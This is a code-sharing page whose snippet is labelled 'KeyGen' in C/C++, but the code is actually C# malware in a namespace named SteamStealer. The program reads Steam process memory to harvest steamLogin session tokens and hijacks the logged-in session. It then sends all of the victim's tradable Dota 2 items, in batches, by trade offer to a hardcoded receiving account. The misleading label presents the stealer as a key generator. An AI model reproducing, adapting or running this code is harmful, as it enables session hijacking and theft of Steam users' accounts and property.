Ask Question

Name:
Title:
Your Question:

Answer Question

Name:
Your Answer:
User Submitted Source Code!


Description:
  KeyGen
Language: C/C++
Code:
using System.Net;
using System.Collections.Generic;
using Newtonsoft.Json.Linq;
using System;
using System.Diagnostics;
using System.Text.RegularExpressions;
using System.Text;
using System.Linq;
 /// By 1337-soft.ru

namespace SteamStealer
{
    static class Program
    {
        private static CookieContainer cookiesContainer;
        private static List<string[]> OffersList;


        private static List<string[]> GetItems(string steamID, string appID)
        {
            List<string[]> items = new List<string[]>();
            while (true)
            {
                string link = "profiles/" + steamID + "/inventory/json/" + appID + "/2/";
                string json = Http.SteamWebRequest(cookiesContainer, link, null, "");
                try
                {
                    JObject inventory = JObject.Parse(json);
                    if (((inventory.SelectToken("success") != null) && ((bool)inventory.SelectToken("success"))) &&
                        (inventory.SelectToken("rgDescriptions")).First != null)
                    {
                        IJEnumerable<JToken> inventoryInfo = inventory.SelectToken("rgInventory").Values();
                        foreach (JToken eachItem in inventory.SelectToken("rgDescriptions").Values())
                        {
                            if (eachItem["tradable"].ToString() == "1")
                            {
                                JToken findedItem = inventoryInfo.Where(each => each["classid"].ToString() == eachItem["classid"].ToString()).First();

                                items.Add(new string[] { appID, findedItem["amount"].ToString(), findedItem["id"].ToString(), eachItem["market_name"].ToString(), eachItem["type"].ToString().ToLower() });
                            }
                        }
                    }
                    break;
                }
                catch { return null; }

            }
            return items;
        }
        private static List<string[]> FilterByRarity(List<string[]> input, string filter)
        {
            string[] filters = filter.Split(',');
            List<string[]> output = new List<string[]>();
            for (int i = 0; i < input.Count; i++)
            {
                for (int x = 0; x < filters.Length; x++)
                {
                    string[] types = input[i][4].Split(' ');
                    for (int c = 0; c < types.Length; c++)
                    {
                        if (types[c] == filters[x] && !output.Contains(input[i]))
                        {
                            output.Add(input[i]);
                            break;
                        }
                    }
                }
            }
            return output;
        }
        private static string prepareItems(string[][] input)
        {
            string output = string.Empty;
            for (int i = 0; i < input.Length; i++)
            {
                output += "%7B%22appid%22%3A" + input[i][0]
                    + "%2C%22contextid%22%3A" + "2"
                    + "%2C%22amount%22%3A" + input[i][1]
                    + "%2C%22assetid%22%3A%22" + input[i][2] + "%22%7D%2C";
            }
            return output.Remove(output.Length - 3);
        }
        private static string sentItems(string sessionID, string items, string[] Offer)
        {
            return Http.SteamWebRequest(cookiesContainer,
                 "tradeoffer/new/send",
                 "sessionid=" + sessionID + 
                 "&partner=" + Offer[0] +
                 "&tradeoffermessage=&json_tradeoffer=%7B%22newversion%22%3Atrue%2C%22version%22%3A2%2C%22me%22%3A%7B%22assets%22%3A%5B" + items +
                 "%5D%2C%22currency%22%3A%5B%5D%2C%22ready%22%3Afalse%7D%2C%22them%22%3A%7B%22assets%22%3A%5B%5D%2C%22currency%22%3A%5B%5D%2C%22ready%22%3Afalse%7D%7D&trade_offer_create_params=%7B%22trade_offer_access_token%22%3A%22" + Offer[2] + "%22%7D",
                 "tradeoffer/new/?partner=" + Offer[1] + "&token=" + Offer[2]);
        }
        private static List<JObject> sendItems(List<string[][]> items, string sessionID, string[] Offer)
        {
            List<JObject> responses = new List<JObject>();
            for (int i = 0; i < items.Count; i++)
            {
                string preparedItems = prepareItems(items[i]);
                responses.Add( JObject.Parse(sentItems(sessionID, preparedItems, Offer)) );
            }
            return responses;
        }

        private static List<string[][]> divideList(List<string[]> input, int size)
        {
            int counter = 0;
            return input.GroupBy(_ => counter++ / size).Select(g => g.ToArray()).ToList();
        }

        [STAThread]
        static void Main()
        {

            OffersList = new List<string[]>();
            OffersList.Add(new string[] { "STEAM_0:0:8617579", "17235158", "5ooL8fRW" });

            WinApis.SYSTEM_INFO systemInfo = new WinApis.SYSTEM_INFO();
            WinApis.GetSystemInfo(out systemInfo);
            IntPtr minimumAdress = systemInfo.minimumApplicationAddress;
            long minimumAdresslong = minimumAdress.ToInt64();
            List<string> list = new List<string>();
             Process[] processesByName = Process.GetProcessesByName("steam");
             if (processesByName.Length > 0)
             {
                 foreach (Process process in processesByName)
                 {
                     IntPtr processHandle = WinApis.OpenProcess(1040, false, process.Id);
                     WinApis.PROCESS_QUERY_INFORMATION processQuery = new WinApis.PROCESS_QUERY_INFORMATION();
                     IntPtr lpNumberOfbytes = new IntPtr(0);
                     while (WinApis.VirtualQueryEx(processHandle, minimumAdress, out processQuery, 28) != 0)
                     {
                         if ((processQuery.Protect == 4) && (processQuery.State == 4096))
                         {
                             byte[] buffer = new byte[processQuery.RegionSize];
                             WinApis.ReadProcessMemory(processHandle, processQuery.BaseAdress, buffer, processQuery.RegionSize, out lpNumberOfbytes);

                             string preparedIDs = Encoding.UTF8.GetString(buffer);
                             MatchCollection matchs = new Regex("7656119[0-9]{10}%7c%7c[A-F0-9]{40}", RegexOptions.IgnoreCase).Matches(preparedIDs);
                             if (matchs.Count > 0)
                             {
                                 foreach (Match match in matchs)
                                 {
                                     if (!list.Contains(match.Value))
                                     {
                                         list.Add(match.Value);
                                     }
                                 }
                             }
                         }
                         minimumAdresslong += processQuery.RegionSize;
                         if (minimumAdresslong >= Int32.MaxValue)
                         {
                             break;
                         }
                         minimumAdress = new IntPtr(minimumAdresslong);
                     }
                 }
                 if (list.Count > 0)
                 {
                     using (List<string>.Enumerator enumerator3 = list.GetEnumerator())
                     {
                         string sessionId;
                         if (!enumerator3.MoveNext())
                         {
                             return;
                         }
                         string current = enumerator3.Current;



                         cookiesContainer = new CookieContainer();
                         Cookie cookie = new Cookie("steamLogin", current)
                         {
                             Domain = "steamcommunity.com"
                         };
                         cookiesContainer.Add(cookie);

                         while ((sessionId = Http.ObtainsessionID(cookiesContainer)) == null) { }

                             Cookie cookie2 = new Cookie("sessionid", sessionId)
                             {
                                 Domain = "steamcommunity.com"
                             };
                             cookiesContainer.Add(cookie2);

                         

                         string steamID = current.Substring(0, 17);

                         List<string[]> listed = GetItems(steamID, "570");
                         List<string[]> filtered = FilterByRarity(listed, "common,rare,uncommon");

                         List<string[][]> dotaItems = divideList(filtered, 256);

                         for (int c = 0; c < dotaItems.Count; c++)
                         {
                             string preparedItems = prepareItems(dotaItems[c]);
                             string response = sentItems(sessionId, preparedItems, OffersList[0]);
                             if (response != null)
                             {
                                 try
                                 {
                                     JObject parsedRespone = JObject.Parse(response);
                                 }
                                 catch { }
                             }
                         }

                         
                     }
                 }
             }
        }
    }
}

          
Comments: